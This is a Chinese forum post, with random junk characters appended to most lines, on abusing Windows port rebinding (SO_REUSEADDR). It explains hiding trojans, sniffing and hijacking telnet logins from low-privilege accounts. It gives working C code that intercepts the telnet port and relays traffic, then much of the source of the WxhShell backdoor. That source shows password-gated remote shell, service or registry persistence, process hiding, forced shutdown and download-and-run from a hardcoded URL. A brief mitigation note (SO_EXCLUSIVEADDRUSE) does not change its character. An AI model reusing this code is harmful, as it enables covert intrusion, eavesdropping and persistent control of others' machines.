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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %n|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (4FVemgy  
PK+sGV  
  saddr.sin_family = AF_INET; YYQvt  
F{x+1hct0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sa'1hX^@  
/"X_{3dq?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IAO5li3  
5_(\Cd<#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Qj^Uz+b  
CV0id&Nv  
  这意味着什么?意味着可以进行如下的攻击: Lap?L/NS  
%Y&48''"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M/ 64`lcb  
j!4{+&Laq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X /c8XLe"  
JVoC2Z<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $9G& wH>{  
PMAz[w,R~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s[8. l35|  
Y:DopKRD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JvO1tA]ij  
:SaZhY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ):K%  
!FgZI4?/Y=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 72;'8  
&GLDoLk6[  
  #include MG=E 6:  
  #include w'TAM"D`  
  #include %M96 m   
  #include    -m^- p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pB:XNkxL  
  int main() E ASnh   
  { JSB+g;  
  WORD wVersionRequested; H@(O{ 9Yl;  
  DWORD ret; 7Yg1z%%U  
  WSADATA wsaData; `Abd=1nH  
  BOOL val; LGhK)]:  
  SOCKADDR_IN saddr; x'L=p01  
  SOCKADDR_IN scaddr; 5len} ){  
  int err; )^(gwE  
  SOCKET s; /5sn*,  
  SOCKET sc; {8.Zb NEJ  
  int caddsize; >J;TtNE:  
  HANDLE mt; z@ `o(gh  
  DWORD tid;   ^os_j39N9  
  wVersionRequested = MAKEWORD( 2, 2 ); {dF@Vg_n  
  err = WSAStartup( wVersionRequested, &wsaData ); L-Q8iFW'  
  if ( err != 0 ) { #z P-, 2!r  
  printf("error!WSAStartup failed!\n"); @V 'HX  
  return -1; <6(0ZO%,C!  
  } ,8384'  
  saddr.sin_family = AF_INET; eay|>xa2  
   Un]wP`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2.Z#\6Vj  
^;F/^ _  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {<{VJGY7T  
  saddr.sin_port = htons(23); 8-<F4^i_i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Y3"V3EZ  
  { qU#A,%kcV  
  printf("error!socket failed!\n"); 1i#y>fUj  
  return -1; 0PkX-.  
  } i`+w.zJOH8  
  val = TRUE; ;y(;7n_ a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9JdJn>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k[8F: T-  
  { 76D$Nm  
  printf("error!setsockopt failed!\n"); L"jA#ULg  
  return -1; 7I ~O| Mw  
  } $ 5"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |pHlBzHj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P7w RX F{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ku,{NY f^Y  
a6gw6jQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N5K(yY_T  
  { bkdXBCBx?  
  ret=GetLastError(); 5ih>x3S1/  
  printf("error!bind failed!\n"); ~B[e*| d  
  return -1; 6c!F%xU}  
  } )M<+?R$];  
  listen(s,2); mP*$wE9b,:  
  while(1) y`j_]qvt  
  { e\X[\ve  
  caddsize = sizeof(scaddr); /rpr_Xw}  
  //接受连接请求 Ct'tUF<K5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n>)aw4  
  if(sc!=INVALID_SOCKET) d*|RFU  
  { ,Mw93Kp Va  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v9 \n=Z  
  if(mt==NULL) V<5. 4{[G  
  { qeMDC#N  
  printf("Thread Creat Failed!\n"); ,esEh5=Ir  
  break; to: ;:Goa  
  } >\K=)/W2  
  } 4AL,=C3  
  CloseHandle(mt); PV\J] |d,%  
  } ~0,v Q   
  closesocket(s); c!HGiqp  
  WSACleanup(); Ar\fA)UQ`  
  return 0; !y$##PZ  
  }   c(1tOQk.  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7KiraKb|  
  { P?q HzNGi7  
  SOCKET ss = (SOCKET)lpParam; @{b5x>KX  
  SOCKET sc; 29grbP  
  unsigned char buf[4096]; HKbV@NW  
  SOCKADDR_IN saddr; R'Ue>k  
  long num; KGOhoiR9:C  
  DWORD val; r ??_2>Q  
  DWORD ret; E"*E[>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >h8m8J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J,,V KA&  
  saddr.sin_family = AF_INET; 9U;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Xc NL\fl1  
  saddr.sin_port = htons(23); "<|KR{/+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |-6`S1.  
  { T%.Y so{  
  printf("error!socket failed!\n"); DSHvBFQ  
  return -1; ^GV'Y  
  } D,=~7/g  
  val = 100; 8\;, d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NUM!'+H_h  
  { 5$+7Q$Gw  
  ret = GetLastError(); 7Wef[N\x  
  return -1; o`,}b1lh  
  } *i*\ dl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0fstEExw  
  { lO\HchG zB  
  ret = GetLastError(); WCd: (8B  
  return -1; +E9G"Z65iP  
  } &M5v EPR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,W+=N"`a'  
  { ,l AZ4  
  printf("error!socket connect failed!\n"); 9Pg6,[*u  
  closesocket(sc); V(kK2az  
  closesocket(ss); N^B7<~ bD  
  return -1; +8ib928E  
  } $G <r2lPy  
  while(1) [<i3l'V/[  
  { "{@[06|1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &p#PYs|H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $|Ol?s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +h-% {  
  num = recv(ss,buf,4096,0); d>#',C#;  
  if(num>0) fwUvFK1G  
  send(sc,buf,num,0); 8r>\scS  
  else if(num==0) jh z*Y}MX  
  break; #SHJ0+)o  
  num = recv(sc,buf,4096,0); /*gs]  
  if(num>0) {QG6ldI  
  send(ss,buf,num,0); CV HKP[-  
  else if(num==0) %wl:>9]  
  break; v9J1Hha#  
  } 7_36xpw  
  closesocket(ss); gHh (QRA  
  closesocket(sc); RCa1S^.  
  return 0 ; e\(X:T  
  } k t`ln  
M%54FsV  
W`LG.`JW  
========================================================== [pms>TQ2  
s8A"x`5(  
下边附上一个代码,,WXhSHELL ^%%Rf  
gjD|f2*x  
========================================================== (8~mf$ zx,  
vC]r1q.(  
#include "stdafx.h" V1P]pP  
?$)a[UnqX  
#include <stdio.h> <9H3d7%  
#include <string.h> Q7pCF,;  
#include <windows.h> F+VNrt-  
#include <winsock2.h> DNDzK iMk  
#include <winsvc.h> C!547(l[  
#include <urlmon.h> 29 !QE>Q  
$C=XSuPNK  
#pragma comment (lib, "Ws2_32.lib") lNc0znY  
#pragma comment (lib, "urlmon.lib") PC"=B[OlJ  
4D 5Wse  
#define MAX_USER   100 // 最大客户端连接数 ~Ih` ayVq  
#define BUF_SOCK   200 // sock buffer  e4_A`j'  
#define KEY_BUFF   255 // 输入 buffer IW@xT@  
*:\[;69[  
#define REBOOT     0   // 重启 vS ( Y_6  
#define SHUTDOWN   1   // 关机 P$Y w'3v/  
V4u4{wU]  
#define DEF_PORT   5000 // 监听端口 rVhfj~Ts  
(e_p8[x  
#define REG_LEN     16   // 注册表键长度 VxOWv8}|  
#define SVC_LEN     80   // NT服务名长度 VWd`06'BN'  
9T2_2  
// 从dll定义API 7H6Ge-u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <:(;#&<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d|87;;X|u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VJA/d2Oys  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AEf[:]i]  
0 GFho$f  
// wxhshell配置信息 Tw%1m  
struct WSCFG { \ eba9i^  
  int ws_port;         // 监听端口 vnf2Z,f%  
  char ws_passstr[REG_LEN]; // 口令 w"D1mI!L 7  
  int ws_autoins;       // 安装标记, 1=yes 0=no WJ8osWdLu  
  char ws_regname[REG_LEN]; // 注册表键名 D0 q42+5  
  char ws_svcname[REG_LEN]; // 服务名 irw5<l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RI<s mt.Ng  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C:AV?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wYFkGih  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zNGUll$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }#~E-N3x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v 9G~i  
a` 9pHH:7Q  
}; -#<{3BJTrz  
p4\sKF8-  
// default Wxhshell configuration y] 9/Xr/  
struct WSCFG wscfg={DEF_PORT, uDcs2^2l  
    "xuhuanlingzhe", D'moy*E  
    1, rkh%[o 9"/  
    "Wxhshell", ~T9QpL1OJ  
    "Wxhshell", q|klsup  
            "WxhShell Service", kwww5p ["  
    "Wrsky Windows CmdShell Service", 8)s0$64Ra  
    "Please Input Your Password: ", Pdh`Gu1:3  
  1, $B9?>a|{A  
  "http://www.wrsky.com/wxhshell.exe", usKP9[T$  
  "Wxhshell.exe" DIP%*b#l$\  
    }; {&Rz>JK  
2u0B=0x  
// 消息定义模块 ETX>wZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; toj5b;+4F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vG)B}`M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 04-@c  
char *msg_ws_ext="\n\rExit."; jpXbFWgN  
char *msg_ws_end="\n\rQuit."; 2S:B%cj9m  
char *msg_ws_boot="\n\rReboot..."; m'G=WO*%  
char *msg_ws_poff="\n\rShutdown..."; <AJRU l  
char *msg_ws_down="\n\rSave to "; 4S+E% b|)  
pP# _B  
char *msg_ws_err="\n\rErr!"; SMd[*9l [  
char *msg_ws_ok="\n\rOK!"; b{<$OVc  
 MkdC*|  
char ExeFile[MAX_PATH]; \Lbwfd=  
int nUser = 0; grI#'x  
HANDLE handles[MAX_USER]; ;K4=fHl  
int OsIsNt; k ^KpQ&n  
j)nE!GKD(  
SERVICE_STATUS       serviceStatus; ^G5fs'd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qUg/mdv&  
EKw)\T1  
// 函数声明 -ciwIS9L  
int Install(void); z 36Y/{>[  
int Uninstall(void); ]A\qI>,  
int DownloadFile(char *sURL, SOCKET wsh); Jp8,s%  
int Boot(int flag); I@Y k &aU  
void HideProc(void); _TJk Yz$  
int GetOsVer(void); Z,-TMtM7  
int Wxhshell(SOCKET wsl); 1o_Zw.  
void TalkWithClient(void *cs); !K=$Q Uq  
int CmdShell(SOCKET sock); pvWj)4e  
int StartFromService(void); ^[+2P?^K  
int StartWxhshell(LPSTR lpCmdLine); ;Hp78!#,  
cYOcl-*af  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [%/B"w Tt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N!tNRMTi  
AjO{c=d  
// 数据结构和表定义 *.A-UoHa  
SERVICE_TABLE_ENTRY DispatchTable[] = (KvN#d 1\  
{ q+;lxR5D  
{wscfg.ws_svcname, NTServiceMain}, tmeg=U7  
{NULL, NULL} 3fE0cVG*  
}; u#V;  
:.{d,)G  
// 自我安装 Du-Q~I6  
int Install(void) ]|IeE!6  
{ hr&UD|E=  
  char svExeFile[MAX_PATH]; ,Cy&tRjR B  
  HKEY key; m<;MOS  
  strcpy(svExeFile,ExeFile); ^4[QX -_2  
$j!:ET'V  
// 如果是win9x系统,修改注册表设为自启动 2]x,joB  
if(!OsIsNt) { <h~uGBS"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q/HEWk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fy>g*3  
  RegCloseKey(key); gId :IR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Vhnio;qC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nkN2Bqt$  
  RegCloseKey(key); C(KV5c  
  return 0; wk=s3^  
    } ne[H`7c  
  } }\A 0g}  
} )1YGWr;ykS  
else { ;s4e8![o3  
a@ ? Bv  
// 如果是NT以上系统,安装为系统服务 HR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?H{?jJj$H  
if (schSCManager!=0) hA`9[58/  
{ O!F"w !5@  
  SC_HANDLE schService = CreateService FELW?Q?k  
  ( ,&@FToR  
  schSCManager, h,/3 }  
  wscfg.ws_svcname, a94 nB  
  wscfg.ws_svcdisp, Jcp=<z*0  
  SERVICE_ALL_ACCESS, d(5j#?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p-z!i+  
  SERVICE_AUTO_START, .Rb4zLYL*w  
  SERVICE_ERROR_NORMAL, '&]6(+I>  
  svExeFile, d%!yFix;<  
  NULL, UU#$Kt*frR  
  NULL, idS+&:'  
  NULL, I'<sJs*p  
  NULL, # M Y4Mr  
  NULL kc@ \AZb  
  ); <rU+{&FKNL  
  if (schService!=0) {D]I[7f8Ev  
  { N B8Yn\{B  
  CloseServiceHandle(schService); nXh<+7  
  CloseServiceHandle(schSCManager); %P *b&H^0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sBE@{w%  
  strcat(svExeFile,wscfg.ws_svcname); E /ycPqD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CF+:v(NL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X`]>J5  
  RegCloseKey(key); zHW&i~  
  return 0; wA87|YK8*  
    } K=P LOC5  
  } nxuR^6 Ai  
  CloseServiceHandle(schSCManager); H_l>L9/\  
} B+'w'e$6  
} 5YiBPB")  
|A H@W#7j  
return 1; \J6e/ G  
} GlT/JZ9  
S2=x,c$  
// 自我卸载 <1U *{y  
int Uninstall(void) Hxj8cX UF|  
{ ,nw5 M.D_  
  HKEY key; )VG_Y9;Xk:  
Yp $@i20  
if(!OsIsNt) { w#sP5qKv8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S~y.>X3"P  
  RegDeleteValue(key,wscfg.ws_regname); z+?48 }  
  RegCloseKey(key); Ap}`Q(.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _`9WNJiL  
  RegDeleteValue(key,wscfg.ws_regname); uVw|jj  
  RegCloseKey(key); =mxj2>,&  
  return 0; "W"r0"4  
  } "N=q>jaX  
} tqU8>d0^  
} d^|r#"o[  
else { 1| xKb (_l  
OJLyqncw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YgkQF0+  
if (schSCManager!=0) ksqb& ux6  
{ fp"GdkO#}i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v XR27  
  if (schService!=0) `u8=~]rblj  
  { y$?O0S%F  
  if(DeleteService(schService)!=0) { pzDz@lAwR  
  CloseServiceHandle(schService); V##TG0  
  CloseServiceHandle(schSCManager); * \ tR  
  return 0; J]&nZud`  
  } 2u} ns8wn  
  CloseServiceHandle(schService); ^cojETOv  
  } 7"{CBbT  
  CloseServiceHandle(schSCManager); S`[r]msw  
} []H0{a2{<  
} z|N*Gs>,  
CDFkH  
return 1; p?+;[!:  
} CWE^:kr6  
0h"uJco,  
// 从指定url下载文件 .1""U ']  
int DownloadFile(char *sURL, SOCKET wsh) i# Fe`Z ~J  
{ ^aL> /'Y#|  
  HRESULT hr; 95-%>?4  
char seps[]= "/"; bj+foNvu\  
char *token; `Jl_'P}  
char *file; MPJ0>Ly  
char myURL[MAX_PATH]; mp0! S  
char myFILE[MAX_PATH]; HK.Si]:  
7+J<N@.d  
strcpy(myURL,sURL); zXeBUbVi  
  token=strtok(myURL,seps); MAG /7T5  
  while(token!=NULL) C2K<CDVw  
  { 3;EBKGg|  
    file=token; ? )"v~vs  
  token=strtok(NULL,seps); qo}u(p Oj|  
  } l,E4h-$  
Hd~fSXFl  
GetCurrentDirectory(MAX_PATH,myFILE); ']vMOGG  
strcat(myFILE, "\\"); d|$-l:(J  
strcat(myFILE, file); +PHuQ  
  send(wsh,myFILE,strlen(myFILE),0); _dn*H-5hO  
send(wsh,"...",3,0); boIFN;Aq"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q%Lw#f  
  if(hr==S_OK) M_F4I$V4  
return 0; DOW Z hD  
else Z , 98  
return 1; :J6FI6  
}+ TA+;  
} uulzJbV,K  
O>arCr=H  
// 系统电源模块 fH;lh-   
int Boot(int flag) Oat #%  
{ %lN4"jtx  
  HANDLE hToken; jD_B&MQz  
  TOKEN_PRIVILEGES tkp; M cbiO)@I  
R&1 xZFj  
  if(OsIsNt) { -<q@0IYyi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =&;}#A%m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T`|>oX  
    tkp.PrivilegeCount = 1; is=|rY9$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _K|?;j#x0k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FGRG?d4?h  
if(flag==REBOOT) { 5~SBZYI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %967#XI[y  
  return 0; Kr;F4G|Qt  
} aW$))J)0  
else { )mRKIM}*W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A-qpuI;f  
  return 0; W:=CpbwENX  
} ZY> u4v.  
  } [$%0[;jtS  
  else {  2dBjc{  
if(flag==REBOOT) { )N]%cO(^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) azp XE  
  return 0; Hbz,3{o5  
} * uZ'MS  
else { lyrwm{&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o|c"W}W  
  return 0; c jBHczkY  
} F5f1j]c  
} AV["%$ :  
7:h_U9Za?$  
return 1; kZvh<NFh_  
} J~rjI24  
#+PfrS=  
// win9x进程隐藏模块 82Nw 6om6i  
void HideProc(void) 08E,U  
{ 5%(xZ  6  
B?<Z(d7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h5m6 )0"  
  if ( hKernel != NULL ) 3ocRq %%K  
  { +N!!Z2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5v-o2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0i9C\'W`  
    FreeLibrary(hKernel); 7)+%;|~  
  } >R8eAR$N  
z`rW2UO#a`  
return; .(8eWc YK  
} W/I D8+:i  
+\`t@Ht#  
// 获取操作系统版本 'O]Ja-  
int GetOsVer(void) }=^Al;W  
{ {:d9q  
  OSVERSIONINFO winfo; o[CjRQY]P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I~I$/j]e`  
  GetVersionEx(&winfo); ]%/a'[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <\5Y~!)  
  return 1; \%:]o-+"I  
  else >iB-gj}>X  
  return 0; b'~IFNt*^  
} i3\6*$Ug  
9k>=y n  
// 客户端句柄模块  |{@_J  
int Wxhshell(SOCKET wsl) -)ag9{*  
{ QG=&{-I~[3  
  SOCKET wsh; SB`"%6  
  struct sockaddr_in client; " ^:$7~%bA  
  DWORD myID; |MXv  w6P  
4 jeUYkJUM  
  while(nUser<MAX_USER) auT$-Ki8  
{ i#y3QCNqf^  
  int nSize=sizeof(client); 6J%+pt[tu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N8:&v  
  if(wsh==INVALID_SOCKET) return 1; )IP{yL8c  
Sk,9<@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8q& *tpE  
if(handles[nUser]==0) C]+T5W\"<B  
  closesocket(wsh); yD9<-B<)  
else P&@[ j0  
  nUser++; A?sU[b6_  
  } PNMf5'@m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x2g P, p-  
a0ze7F<(  
  return 0; ]tVXao  
} RDu'N  
m}3POl/*j  
// 关闭 socket B>&eciY  
void CloseIt(SOCKET wsh) R9z^=QKcH  
{ )vFZl]  
closesocket(wsh); (e;9 ,~u)  
nUser--; ]xIfgSq  
ExitThread(0); [#R<Z+c  
} %L9A6%gr  
r?=7#/]  
// 客户端请求句柄 C=/nZGG  
void TalkWithClient(void *cs) D%Y{(l+X  
{ z3[0BWXs  
-f-2!1&<3h  
  SOCKET wsh=(SOCKET)cs; :J}@*>c  
  char pwd[SVC_LEN]; 8HLcDS#  
  char cmd[KEY_BUFF]; 5CsJghTw  
char chr[1]; r. :H`  
int i,j; Vhs:X~=qL  
61J01(+|  
  while (nUser < MAX_USER) { x@]pUA1  
Ng} AEAFp  
if(wscfg.ws_passstr) { "HQH]?!k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :bA@ u>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AT{ewb  
  //ZeroMemory(pwd,KEY_BUFF); g{ cHh(S  
      i=0; cKX6pG  
  while(i<SVC_LEN) { \k|ZbCWg  
,{{uRs/  
  // 设置超时 F W# S.<  
  fd_set FdRead; :oH"  
  struct timeval TimeOut; GBZx@B[TY  
  FD_ZERO(&FdRead); =R^V[zTn_  
  FD_SET(wsh,&FdRead); ?_F,HhQ  
  TimeOut.tv_sec=8; t'EH_ U  
  TimeOut.tv_usec=0; &:` 7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^E7>!Lbvx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?)cNe:KY  
$[Fh|%\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ntSPHK|'  
  pwd=chr[0]; F=hfbCF5x  
  if(chr[0]==0xd || chr[0]==0xa) { uj-q@IKe  
  pwd=0; -hP@L ++D  
  break; [D H@>:"dd  
  } {O,Cc$_  
  i++; ]AGJPuX  
    } N+?kFob  
N3nk\)V\E  
  // 如果是非法用户,关闭 socket R?Q@)POW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WQ]~TGW  
} 9k^;]jE  
K`@GN T&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eb)S<%R/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q H%{r4  
h<9h2  
while(1) { h(I~HZ[K&T  
d+|8({X]D8  
  ZeroMemory(cmd,KEY_BUFF); gtHk1 9  
>=2nAv/(  
      // 自动支持客户端 telnet标准   qx"?')+  
  j=0; )^^r\  
  while(j<KEY_BUFF) { 9b !+kJD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {cv,Tz[Q>  
  cmd[j]=chr[0]; ~}mX#,  
  if(chr[0]==0xa || chr[0]==0xd) { sDCa&"6+@  
  cmd[j]=0; t?v0ylN  
  break; kvdzD6T 9  
  } 'lv\I9"S)  
  j++; ,h1r6&MEY  
    } h.QKbbDj  
,7pO-:*g  
  // 下载文件 HFx8v!^5N  
  if(strstr(cmd,"http://")) { '8>#`Yba  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T"Wq:  
  if(DownloadFile(cmd,wsh)) )*^PMf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  -[a0\H  
  else `ge{KB;*n#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r! 5C3  
  } CD^_>sya  
  else { _SC>EP8:Z  
R$*{@U  
    switch(cmd[0]) { QH4nb h4  
  )E^4\3 ^:  
  // 帮助 Ckvm3r\i2  
  case '?': { mB#`{|1[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $xS `i-|  
    break; Vd|5JA}<"  
  } X63DBF4A  
  // 安装 >U9!KB  
  case 'i': { LIVVb"V|,  
    if(Install()) /PIU@$DV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A"C%.InZ  
    else JPiC/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '&3Sl?E  
    break; B\}E v&  
    } W?'!}g(~  
  // 卸载 x-U^U.i@  
  case 'r': { $;+B)#  
    if(Uninstall()) q[b-vTzI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bs]ret$?(q  
    else (>>pla^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A A<9 XC  
    break; ;oULtQ  
    } ix]3t^  
  // 显示 wxhshell 所在路径 @^;WC+\0  
  case 'p': { %I%F !M  
    char svExeFile[MAX_PATH]; ZH`6>:  
    strcpy(svExeFile,"\n\r"); TRAs5I%  
      strcat(svExeFile,ExeFile); Os8]iNvW\  
        send(wsh,svExeFile,strlen(svExeFile),0); 8R:H{)o~s}  
    break; `/]8C &u  
    } =X>3C"]  
  // 重启 +&a2aEXF  
  case 'b': { ygUvO3Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0'|#Hi7@  
    if(Boot(REBOOT)) *H&a_s/{Nb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y.i<7pBt  
    else { KE16BjX@  
    closesocket(wsh); ; ZL<7tLDb  
    ExitThread(0); =}r&>|rrJ  
    } QKZm<lUL  
    break; [gzw<b:`  
    } N(}7M~m>  
  // 关机 &N*S   
  case 'd': { 0wZLkU_(  
